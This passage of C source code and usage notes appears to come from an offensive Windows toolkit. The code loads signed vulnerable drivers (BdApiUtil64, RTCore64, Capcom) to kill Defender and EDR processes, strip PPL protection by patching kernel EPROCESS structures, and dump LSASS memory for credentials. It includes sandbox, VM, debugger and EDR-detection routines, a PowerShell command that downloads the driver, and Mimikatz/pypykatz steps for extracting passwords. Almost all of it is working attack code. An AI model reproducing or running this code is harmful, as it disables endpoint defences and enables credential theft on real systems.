printf(" [*] Found %ls (PID %d) - Killing... ", g_edr_targets[i], pid);
if (KillProcess(pid)) {
printf("SUCCESS\n");
killed++;
} else {
printf("FAILED (error %d)\n", GetLastError());
}
}
}
return killed;
}
// Fast raw memory dump - bypasses MiniDumpWriteDump completely
BOOL FastDumpLsass(DWORD lsassPid, const wchar_t* outputPath) {
printf("[*] Fast raw memory dump to %ls...\n", outputPath);
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsassPid);
if (!hLsass) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS for reading\n");
HANDLE hFile = CreateFileW(outputPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
// Allocate 1MB buffer
BYTE* buffer = (BYTE*)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
if (!buffer) {
printf("[-] Failed to allocate buffer\n");
CloseHandle(hFile);
CloseHandle(hLsass);
return FALSE;
}
MEMORY_BASIC_INFORMATION mbi;
SIZE_T address = 0;
SIZE_T total_dumped = 0;
int regions = 0;
DWORD start_time = GetTickCount();
printf("[*] Scanning memory regions: ");
while (VirtualQueryEx(hLsass, (LPCVOID)address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// Only dump committed readable memory
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE)) &&
!(mbi.Protect & PAGE_GUARD)) {
SIZE_T bytes_read = 0;
if (ReadProcessMemory(hLsass, (LPCVOID)address, buffer, mbi.RegionSize, &bytes_read)) {
DWORD bytes_written;
WriteFile(hFile, buffer, (DWORD)bytes_read, &bytes_written, NULL);
total_dumped += bytes_read;
regions++;
if (regions % 10 == 0) {
printf(".");
fflush(stdout);
}
}
}
address += mbi.RegionSize;
if (address >= 0x7FFFFFFFFFFF) break;
}
VirtualFree(buffer, 0, MEM_RELEASE);
CloseHandle(hFile);
CloseHandle(hLsass);
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1;
printf("\n[+] Raw dump completed\n");
printf(" Regions: %d\n", regions);
printf(" Size: %.2f MB\n", total_dumped / (1024.0 * 1024.0));
printf(" Time: %d seconds (%.2f MB/s)\n", elapsed,
(total_dumped / (1024.0 * 1024.0)) / elapsed);
printf("\n[!] This is a RAW memory dump, not minidump format\n");
printf("[!] To extract credentials, use strings or manual parsing\n");
printf("[!] Example: strings %ls | grep -i password\n", outputPath);
return TRUE;
}
// Thread wrapper for DumpLsass with timeout support
DWORD WINAPI DumpLsassThread(LPVOID param) {
const wchar_t* path = (const wchar_t*)param;
return DumpLsass(path) ? 0 : 1;
}
BOOL DumpLsass(const wchar_t* outputPath) {
DWORD lsassPid = FindProcessByName(L"lsass.exe");
if (!lsassPid) {
printf("[-] LSASS process not found\n");
return FALSE;
}
printf("[*] Found LSASS (PID %d)\n", lsassPid);
// Open LSASS with full access
printf("[*] Opening LSASS...\n");
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
if (!hLsass) {
DWORD err = GetLastError();
printf("[-] Failed to open LSASS: %d\n", err);
if (err == 5) {
printf("[!] Access Denied - EDR may still be running!\n");
printf("[!] Or LSASS is PPL protected and EDR wasn't blocking us\n");
}
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Create dump file
printf("[*] Creating dump file: %ls\n", outputPath);
HANDLE hFile = CreateFileW(
outputPath,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
// Dump memory
printf("[*] Dumping LSASS memory...\n");
BOOL success = MiniDumpWriteDump(
hLsass,
lsassPid,
hFile,
MiniDumpWithFullMemory,
NULL,
NULL,
NULL
);
CloseHandle(hFile);
CloseHandle(hLsass);
if (success) {
// Get file size
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
LARGE_INTEGER fileSize = {0};
if (GetFileAttributesExW(outputPath, GetFileExInfoStandard, &fileInfo)) {
fileSize.LowPart = fileInfo.nFileSizeLow;
fileSize.HighPart = fileInfo.nFileSizeHigh;
}
printf("[+] LSASS dump created: %ls (%.2f MB)\n",
outputPath, (double)fileSize.QuadPart / (1024 * 1024));
return TRUE;
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
DeleteFileW(outputPath);
return FALSE;
}
}
int wmain(int argc, wchar_t* argv[]) {
wchar_t driverPath[MAX_PATH];
wchar_t dumpPath[MAX_PATH] = L"lsass.dmp";
printf("\n");
printf("==========================================================\n");
printf(" BdApiUtil PPL Bypass - Kill Defender + Dump LSASS\n");
printf(" Driver: BdApiUtil64.sys (Baidu - Signed)\n");
printf("==========================================================\n\n");
// Check admin
if (!IsRunningAsAdmin()) {
printf("[-] ERROR: Must run as Administrator!\n");
return 1;
}
printf("[+] Running as Administrator\n");
// Build driver path (same directory as executable)
GetModuleFileNameW(NULL, driverPath, MAX_PATH);
wchar_t* lastSlash = wcsrchr(driverPath, L'\\');
if (lastSlash) {
wcscpy_s(lastSlash + 1, MAX_PATH - (lastSlash - driverPath + 1), BDAPI_FILENAME);
}
printf("[*] Driver path: %ls\n", driverPath);
// Check if driver file exists
if (GetFileAttributesW(driverPath) == INVALID_FILE_ATTRIBUTES) {
printf("\n[-] Driver file not found: %ls\n", driverPath);
printf("\n[*] Download from LOLDrivers:\n");
printf(" Invoke-WebRequest -Uri \"https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/29e1264dd642b646fbef9bd347b1b860.bin\" -OutFile \"%ls\"\n", BDAPI_FILENAME);
return 1;
}
printf("[+] Driver file found\n");
// Step 1: Load driver
printf("\n[STEP 1] Loading BdApiUtil driver...\n");
if (!LoadBdApiDriver(driverPath)) {
printf("[-] Failed to load driver\n");
return 1;
}
// Step 2: Open device
printf("\n[STEP 2] Opening driver device...\n");
if (!OpenDriverDevice()) {
printf("[-] Failed to open driver device\n");
return 1;
}
// Step 3: Kill EDR/Defender
printf("\n[STEP 3] Killing Windows Defender and EDR...\n");
int killed = KillEdrProcesses();
printf("\n[+] Killed %d EDR/AV processes\n", killed);
// Don't wait - Windows restarts Defender immediately!
// Dump LSASS as fast as possible while Defender is dead
if (killed > 0) {
printf("\n[!] Windows will restart Defender immediately - dumping LSASS now!\n");
}
// Step 4: Dump LSASS with timeout
printf("\n[STEP 4] Dumping LSASS memory...\n");
printf("[*] Attempting standard minidump (30 second timeout)...\n");
// Try standard dump with timeout
BOOL dump_success = FALSE;
HANDLE hDumpThread = CreateThread(NULL, 0,
DumpLsassThread, (LPVOID)dumpPath, 0, NULL);
if (hDumpThread) {
DWORD wait_result = WaitForSingleObject(hDumpThread, 30000); // 30 second timeout
if (wait_result == WAIT_TIMEOUT) {
printf("[!] Minidump timed out after 30 seconds\n");
printf("[*] This indicates VM security monitoring or AV interference\n");
printf("[*] Falling back to fast raw memory dump...\n");
TerminateThread(hDumpThread, 1);
CloseHandle(hDumpThread);
// Try fast dump instead
wchar_t rawDumpPath[MAX_PATH];
wcscpy_s(rawDumpPath, MAX_PATH, dumpPath);
wcscat_s(rawDumpPath, MAX_PATH, L".raw");
dump_success = FastDumpLsass(FindProcessByName(L"lsass.exe"), rawDumpPath);
} else if (wait_result == WAIT_OBJECT_0) {
DWORD exit_code;
GetExitCodeThread(hDumpThread, &exit_code);
dump_success = (exit_code == 0);
CloseHandle(hDumpThread);
}
}
if (!dump_success) {
printf("[-] All dump methods failed\n");
CloseHandle(g_hDriver);
return 1;
}
// Cleanup
CloseHandle(g_hDriver);
// Success!
printf("\n");
printf("==========================================================\n");
printf(" SUCCESS! Credentials extracted.\n");
printf("==========================================================\n");
printf("\n");
printf("[*] Parse the dump with pypykatz:\n");
printf(" pypykatz lsa minidump %ls\n", dumpPath);
printf("\n");
printf("[*] Or with Mimikatz:\n");
printf(" sekurlsa::minidump %ls\n", dumpPath);
printf(" sekurlsa::logonpasswords\n");
printf("\n");
return 0;
}
Compilation and Usage:
# Compile the code
cl src\defender_killer_lsass_dump.c /Fe:bin\defender_killer.exe advapi32.lib dbghelp.lib
# Run as Administrator
.\bin\defender_killer.exe
# Parse credentials
pip install pypykatz
pypykatz lsa minidump lsass.dmp
Debugging crashes:
# Analyze the minidump
windbg -z C:\Windows\Minidump\<dumpfile>.dmp
# In WinDbg:
!analyze -v # Get crash details
dt nt!_EPROCESS # Verify structure offsets for your build
x nt!PsInitialSystemProcess # Get System EPROCESS address
dt nt!_EPROCESS <address> # Dump System EPROCESS
# Key offsets to verify:
# UniqueProcessId - should be 0x1D0 or 0x440 for Win11 24H2
# ActiveProcessLinks - should be 0x1D8 or 0x448 for Win11 24H2
# Protection - should be 0x5FA or 0x87A for Win11 24H2
if the code below crashed your vm, check with the instructions up there to find the correct offsets
// ppl_bypass_rtcore.c - Strip PPL via EPROCESS patching using RTCore64.sys
// Compile: cl src\ppl_bypass_rtcore.c /Fe:bin\ppl_bypass.exe advapi32.lib ntdll.lib dbghelp.lib psapi.lib
// This uses RTCore64.sys kernel R/W to:
// 1. Leak kernel base address
// 2. Find PsActiveProcessHead
// 3. Walk EPROCESS linked list to find LSASS
// 4. Zero the Protection field to strip PPL
// 5. Dump LSASS with MiniDumpWriteDump
//
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#include <psapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "dbghelp.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "shlwapi.lib")
typedef struct _ANTI_ANALYSIS_CTX {
BOOL is_edr_present;
BOOL is_sandbox;
BOOL is_vm;
BOOL is_debugger;
DWORD stealth_level;
} ANTI_ANALYSIS_CTX;
static ANTI_ANALYSIS_CTX g_anti_ctx = {0};
// Driver vulnerability database
typedef struct _DRIVER_INFO {
WCHAR name[64];
WCHAR device_path[256];
DWORD read_ioctl;
DWORD write_ioctl;
DWORD cve_year;
WCHAR vendor[64];
BOOL is_loaded;
} DRIVER_INFO;
static DRIVER_INFO g_vulnerable_drivers[] = {
{ L"RTCore64", L"\\\\.\\RTCore64", 0x80002048, 0x8000204C, 2019, L"MSI", FALSE },
{ L"Capcom", L"\\\\.\\Capcom", 0xAA012044, 0xAA012048, 2016, L"Capcom", FALSE },
{ L"GIGABYTE", L"\\\\.\\GIO", 0xDA880234, 0xDA880238, 2018, L"GIGABYTE", FALSE },
{ L"ASUSHWIO", L"\\\\.\\ASUSHWIO64", 0x80002010, 0x80002014, 2020, L"ASUS", FALSE },
{ L"EnTech", L"\\\\.\\EnTech", 0x9C402580, 0x9C402584, 2021, L"EnTech", FALSE }
};
#define DRIVER_COUNT (sizeof(g_vulnerable_drivers) / sizeof(DRIVER_INFO))
// Anti-analysis functions
BOOL DetectEDRPresence() {
WCHAR* edr_processes[] = {
L"crowdstrike.exe", L"csfalconservice.exe", L"sentinelagent.exe",
L"cb.exe", L"carbonblack.exe", L"edrclient.exe",
L"elasticendpoint.exe", L"mcafeeendpoint.exe", L"symantec.exe"
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
BOOL found = FALSE;
if (Process32FirstW(snapshot, &pe32)) {
do {
for (int i = 0; i < 9; i++) {
if (_wcsicmp(pe32.szExeFile, edr_processes[i]) == 0) {
found = TRUE;
break;
}
}
} while (Process32NextW(snapshot, &pe32) && !found);
}
CloseHandle(snapshot);
return found;
}
BOOL CheckSandboxEnvironment() {
// Check for sandbox artifacts
WCHAR* sandbox_paths[] = {
L"C:\\tools", L"C:\\analysis", L"C:\\sandbox",
L"C:\\malware", L"C:\\virus", L"C:\\quarantine"
};
for (int i = 0; i < 6; i++) {
if (PathFileExistsW(sandbox_paths[i])) {
return TRUE;
}
}
// Check for VM artifacts
SYSTEM_INFO si;
GetSystemInfo(&si);
// VM CPUID checks
int cpuid[4];
__cpuid(cpuid, 1);
if (cpuid[2] & 0x80000000) return TRUE; // Hypervisor bit
__cpuid(cpuid, 0x40000000);
if (cpuid[0] >= 0x40000000) return TRUE; // Hypervisor leaf
return FALSE;
}
VOID InitializeAntiAnalysis() {
g_anti_ctx.is_edr_present = DetectEDRPresence();
g_anti_ctx.is_sandbox = CheckSandboxEnvironment();
g_anti_ctx.is_vm = CheckSandboxEnvironment();
// Check for debugger
BOOL is_debugged = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &is_debugged);
g_anti_ctx.is_debugger = is_debugged;
// Set stealth level
if (g_anti_ctx.is_edr_present) {
g_anti_ctx.stealth_level = 3;
} else if (g_anti_ctx.is_sandbox || g_anti_ctx.is_vm) {
g_anti_ctx.stealth_level = 2;
} else {
g_anti_ctx.stealth_level = 1;
}
printf("[*] Anti-analysis assessment:\n");
printf(" EDR Present: %s\n", g_anti_ctx.is_edr_present ? "YES" : "NO");
printf(" Sandbox/VM: %s\n", (g_anti_ctx.is_sandbox || g_anti_ctx.is_vm) ? "YES" : "NO");
printf(" Debugger: %s\n", g_anti_ctx.is_debugger ? "YES" : "NO");
printf(" Stealth Level: %d\n\n", g_anti_ctx.stealth_level);
}
VOID EnumerateVulnerableDrivers() {
printf("[*] Enumerating vulnerable drivers...\n");
// Get loaded drivers
LPVOID drivers[1024];
DWORD bytes_needed;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &bytes_needed)) {
int driver_count = bytes_needed / sizeof(LPVOID);
for (int i = 0; i < driver_count; i++) {
WCHAR driver_name[MAX_PATH];
if (GetDeviceDriverBaseNameW(drivers[i], driver_name, MAX_PATH)) {
// Remove .sys extension for comparison
WCHAR* dot = wcsrchr(driver_name, L'.');
WCHAR name_without_ext[MAX_PATH];
if (dot) {
wcsncpy_s(name_without_ext, MAX_PATH, driver_name, dot - driver_name);
} else {
wcscpy_s(name_without_ext, MAX_PATH, driver_name);
}
// Check against vulnerable driver database
for (int j = 0; j < DRIVER_COUNT; j++) {
if (_wcsicmp(name_without_ext, g_vulnerable_drivers[j].name) == 0) {
g_vulnerable_drivers[j].is_loaded = TRUE;
printf("[+] Found vulnerable driver: %ls (CVE-%d)\n",
driver_name, g_vulnerable_drivers[j].cve_year);
break;
}
}
}
}
}
// Also try to open device directly as fallback detection
for (int i = 0; i < DRIVER_COUNT; i++) {
if (!g_vulnerable_drivers[i].is_loaded) {
HANDLE hTest = CreateFileW(
g_vulnerable_drivers[i].device_path,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (hTest != INVALID_HANDLE_VALUE) {
g_vulnerable_drivers[i].is_loaded = TRUE;
printf("[+] Found vulnerable driver via device: %ls (CVE-%d)\n",
g_vulnerable_drivers[i].name, g_vulnerable_drivers[i].cve_year);
CloseHandle(hTest);
}
}
}
// Check for additional drivers via file system
WCHAR system32[MAX_PATH];
GetSystemDirectoryW(system32, MAX_PATH);
wcscat_s(system32, MAX_PATH, L"\\drivers\\");
for (int i = 0; i < DRIVER_COUNT; i++) {
if (!g_vulnerable_drivers[i].is_loaded) {
WCHAR driver_path[MAX_PATH];
wcscpy_s(driver_path, MAX_PATH, system32);
wcscat_s(driver_path, MAX_PATH, g_vulnerable_drivers[i].name);
wcscat_s(driver_path, MAX_PATH, L".sys");
if (PathFileExistsW(driver_path)) {
printf("[!] Driver file exists but not loaded: %ls\n", g_vulnerable_drivers[i].name);
}
}
}
printf("\n");
}
typedef struct _EPROCESS_OFFSETS {
ULONG UniqueProcessId;
ULONG ActiveProcessLinks;
ULONG ImageFileName;
ULONG Protection;
ULONG SignatureLevel;
ULONG SectionSignatureLevel;
} EPROCESS_OFFSETS;
EPROCESS_OFFSETS g_eprocess_offsets = {0};
// Dynamic offset detection for different Windows versions
// Get real Windows version using RtlGetVersion (not shimmed like GetVersionEx)
typedef NTSTATUS (NTAPI *RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
DWORD GetRealWindowsBuild() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) return 0;
RtlGetVersion_t pRtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtdll, "RtlGetVersion");
if (!pRtlGetVersion) return 0;
RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
if (pRtlGetVersion(&osvi) == 0) {
return osvi.dwBuildNumber;
}
return 0;
}
BOOL DetectEprocessOffsets() {
printf("[*] Detecting EPROCESS offsets for current Windows build...\n");
// Get real Windows version using RtlGetVersion (bypasses compatibility shim)
DWORD build = GetRealWindowsBuild();
if (build == 0) {
// Fallback to registry
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
WCHAR buildStr[32];
DWORD size = sizeof(buildStr);
if (RegQueryValueExW(hKey, L"CurrentBuildNumber", NULL, NULL,
(LPBYTE)buildStr, &size) == ERROR_SUCCESS) {
build = _wtoi(buildStr);
}
RegCloseKey(hKey);
}
}
printf("[*] Windows Build: %d\n", build);
// EPROCESS offsets vary by Windows build
// These are for 64-bit Windows. Verify with WinDbg: dt nt!_EPROCESS
if (build >= 17763 && build < 18362) {
// Windows 10 1809 (RS5)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6CA;
g_eprocess_offsets.SignatureLevel = 0x6C8;
g_eprocess_offsets.SectionSignatureLevel = 0x6C9;
} else if (build >= 18362 && build < 18363) {
// Windows 10 1903 (19H1)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6FA;
g_eprocess_offsets.SignatureLevel = 0x6F8;
g_eprocess_offsets.SectionSignatureLevel = 0x6F9;
} else if (build >= 18363 && build < 19041) {
// Windows 10 1909 (19H2)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6FA;
g_eprocess_offsets.SignatureLevel = 0x6F8;
g_eprocess_offsets.SectionSignatureLevel = 0x6F9;
} else if (build >= 19041 && build < 22000) {
// Windows 10 20H1/20H2/21H1/21H2/22H2 (builds 19041-19045)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 22000 && build < 22621) {
// Windows 11 21H2 (build 22000)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 22621 && build < 26100) {
// Windows 11 22H2/23H2 (builds 22621-22631)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 26100) {
g_eprocess_offsets.UniqueProcessId = 0x1D0;
g_eprocess_offsets.ActiveProcessLinks = 0x1D8;
g_eprocess_offsets.ImageFileName = 0x338;
g_eprocess_offsets.Protection = 0x5FA;
g_eprocess_offsets.SignatureLevel = 0x5F8;
g_eprocess_offsets.SectionSignatureLevel = 0x5F9;
printf("[*] Using Windows 11 24H2 Layout 1 offsets (build %d)\n", build);
printf("[!] If this fails, the system may use Layout 2 (use WinDbg to verify)\n");
} else {
printf("[-] Unsupported Windows build: %d\n", build);
printf("[!] Use WinDbg to find offsets: dt nt!_EPROCESS\n");
printf("[!] Look for: UniqueProcessId, ActiveProcessLinks, Protection\n");
return FALSE;
}
printf("[+] EPROCESS offsets detected:\n");
printf(" UniqueProcessId: 0x%X\n", g_eprocess_offsets.UniqueProcessId);
printf(" ActiveProcessLinks: 0x%X\n", g_eprocess_offsets.ActiveProcessLinks);
printf(" Protection: 0x%X\n", g_eprocess_offsets.Protection);
printf("\n");
return TRUE;
}
// Kernel base leak via multiple methods
ULONG_PTR LeakKernelBase() {
printf("[*] Attempting kernel base leak...\n");
// Method 1: NtQuerySystemInformation
typedef NTSTATUS (NTAPI *NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NtQuerySystemInformation_t NtQuerySystemInformation =
(NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation) {
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION;
ULONG size = 0;
NtQuerySystemInformation(11, NULL, 0, &size);
if (size > 0) {
SYSTEM_MODULE_INFORMATION* smi = (SYSTEM_MODULE_INFORMATION*)malloc(size);
if (smi) {
if (NT_SUCCESS(NtQuerySystemInformation(11, smi, size, &size))) {
// ntoskrnl.exe is always first module (index 0)
ULONG_PTR kernel_base = (ULONG_PTR)smi->Modules[0].ImageBase;
printf("[+] Kernel base leaked via NtQuerySystemInformation: 0x%llX\n", kernel_base);
free(smi);
return kernel_base;
}
free(smi);
}
}
}
// Method 2: EnumDeviceDrivers
LPVOID drivers[1024];
DWORD bytes_needed;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &bytes_needed)) {
// First driver is typically ntoskrnl.exe
ULONG_PTR kernel_base = (ULONG_PTR)drivers[0];
printf("[+] Kernel base leaked via EnumDeviceDrivers: 0x%llX\n", kernel_base);
return kernel_base;
}
printf("[-] Failed to leak kernel base\n");
return 0;
}
// RTCore64 memory read/write structure - MUST be 48 bytes!
typedef struct _RTCORE64_MEMORY {
BYTE Pad0[8]; // 8 bytes padding
DWORD64 Address; // 8 bytes - target address
BYTE Pad1[8]; // 8 bytes padding
DWORD ReadSize; // 4 bytes - size to read (1, 2, or 4)
DWORD Value; // 4 bytes - value read/write
BYTE Pad2[16]; // 16 bytes padding
} RTCORE64_MEMORY;
// Total: 8 + 8 + 8 + 4 + 4 + 16 = 48 bytes
// Verify structure size at compile time
#define STATIC_ASSERT(cond) typedef char static_assertion[(cond)?1:-1];
STATIC_ASSERT(sizeof(RTCORE64_MEMORY) == 48)
typedef struct _CAPCOM_IOCTL_REQUEST {
ULONG_PTR TargetAddress;
ULONG_PTR SourceAddress;
SIZE_T Size;
} CAPCOM_IOCTL_REQUEST;
HANDLE OpenVulnerableDriver(int driver_index) {
if (driver_index < 0 || driver_index >= DRIVER_COUNT) {
return INVALID_HANDLE_VALUE;
}
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
if (!driver->is_loaded) {
printf("[-] Driver %ls is not loaded\n", driver->name);
return INVALID_HANDLE_VALUE;
}
printf("[*] Opening driver: %ls\n", driver->name);
HANDLE hDevice = CreateFileW(
driver->device_path,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open %ls: %d\n", driver->name, GetLastError());
return INVALID_HANDLE_VALUE;
}
printf("[+] Successfully opened %ls\n", driver->name);
return hDevice;
}
// Read DWORD from kernel memory using RTCore64
DWORD ReadKernelDWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address) {
// Validate address looks like kernel space (upper half of address space)
// Windows uses canonical addresses: either 0x0000xxxxxxxxxxxx (user) or 0xFFFFxxxxxxxxxxxx (kernel)
// Check if bit 47 is set (kernel space indicator)
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in ReadKernelDWORD: 0x%llX\n", address);
return 0;
}
RTCORE64_MEMORY mem = {0};
mem.Address = address;
mem.ReadSize = 4;
DWORD bytes_returned = 0;
BOOL result = DeviceIoControl(hDevice, ioctl, &mem, sizeof(mem), &mem, sizeof(mem), &bytes_returned, NULL);
if (!result) {
printf("[-] DeviceIoControl failed for address 0x%llX: %d\n", address, GetLastError());
return 0;
}
return mem.Value;
}
// Read QWORD (8 bytes) from kernel memory using RTCore64
DWORD64 ReadKernelQWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address) {
// Validate address looks like kernel space
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in ReadKernelQWORD: 0x%llX\n", address);
return 0;
}
DWORD low = ReadKernelDWORD(hDevice, ioctl, address);
DWORD high = ReadKernelDWORD(hDevice, ioctl, address + 4);
return ((DWORD64)high << 32) | low;
}
BOOL ReadKernelMemory(HANDLE hDevice, int driver_index, ULONG_PTR address, PVOID buffer, SIZE_T size) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned;
if (_wcsicmp(driver->name, L"RTCore64") == 0) {
// RTCore64 can only read up to 4 bytes at a time
BYTE* out_buffer = (BYTE*)buffer;
ULONG_PTR current_addr = address;
SIZE_T remaining = size;
while (remaining > 0) {
if (remaining >= 4) {
DWORD val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
memcpy(out_buffer, &val, 4);
out_buffer += 4;
current_addr += 4;
remaining -= 4;
} else {
DWORD val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
memcpy(out_buffer, &val, remaining);
remaining = 0;
}
}
return TRUE;
} else if (_wcsicmp(driver->name, L"Capcom") == 0) {
CAPCOM_IOCTL_REQUEST request = {0};
request.TargetAddress = address;
request.SourceAddress = (ULONG_PTR)buffer;
request.Size = size;
return DeviceIoControl(hDevice, driver->read_ioctl,
&request, sizeof(request),
NULL, 0,
&bytes_returned, NULL);
}
return FALSE;
}
// Write DWORD to kernel memory using RTCore64
void WriteKernelDWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address, DWORD value) {
// Validate address looks like kernel space
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in WriteKernelDWORD: 0x%llX\n", address);
return;
}
// RTCore64 write structure is different from read!
// For write IOCTL 0x8000204C, the structure is:
// - Offset 0x00: padding (8 bytes)
// - Offset 0x08: target address (8 bytes)
// - Offset 0x10: padding (8 bytes)
// - Offset 0x18: value to write (4 bytes)
// - Offset 0x1C: write size (4 bytes) - must be 1, 2, or 4
// - Offset 0x20: padding (16 bytes)
RTCORE64_MEMORY mem = {0};
mem.Address = address;
mem.Value = value;
mem.ReadSize = 4; // Size to write
DWORD bytes_returned = 0;
BOOL result = DeviceIoControl(hDevice, ioctl, &mem, sizeof(mem), &mem, sizeof(mem), &bytes_returned, NULL);
if (!result) {
printf("[-] DeviceIoControl write failed for address 0x%llX: %d\n", address, GetLastError());
}
}
BOOL WriteKernelMemory(HANDLE hDevice, int driver_index, ULONG_PTR address, PVOID buffer, SIZE_T size) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned;
if (_wcsicmp(driver->name, L"RTCore64") == 0) {
// Write in 4-byte chunks with validation
BYTE* in_buffer = (BYTE*)buffer;
ULONG_PTR current_addr = address;
SIZE_T remaining = size;
while (remaining > 0) {
DWORD val = 0;
SIZE_T to_write = (remaining >= 4) ? 4 : remaining;
memcpy(&val, in_buffer, to_write);
// Validate address before write
if ((current_addr & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address: 0x%llX\n", current_addr);
return FALSE;
}
// Read current value first to verify address is readable
DWORD current_val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
printf("[*] Address 0x%llX: current=0x%08X, writing=0x%08X\n",
current_addr, current_val, val);
WriteKernelDWORD(hDevice, driver->write_ioctl, current_addr, val);
// Verify write succeeded
DWORD verify_val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
if (verify_val != val) {
printf("[-] Write verification failed at 0x%llX: expected 0x%08X, got 0x%08X\n",
current_addr, val, verify_val);
return FALSE;
}
in_buffer += to_write;
current_addr += to_write;
remaining -= to_write;
}
return TRUE;
} else if (_wcsicmp(driver->name, L"Capcom") == 0) {
CAPCOM_IOCTL_REQUEST request = {0};
request.TargetAddress = address;
request.SourceAddress = (ULONG_PTR)buffer;
request.Size = size;
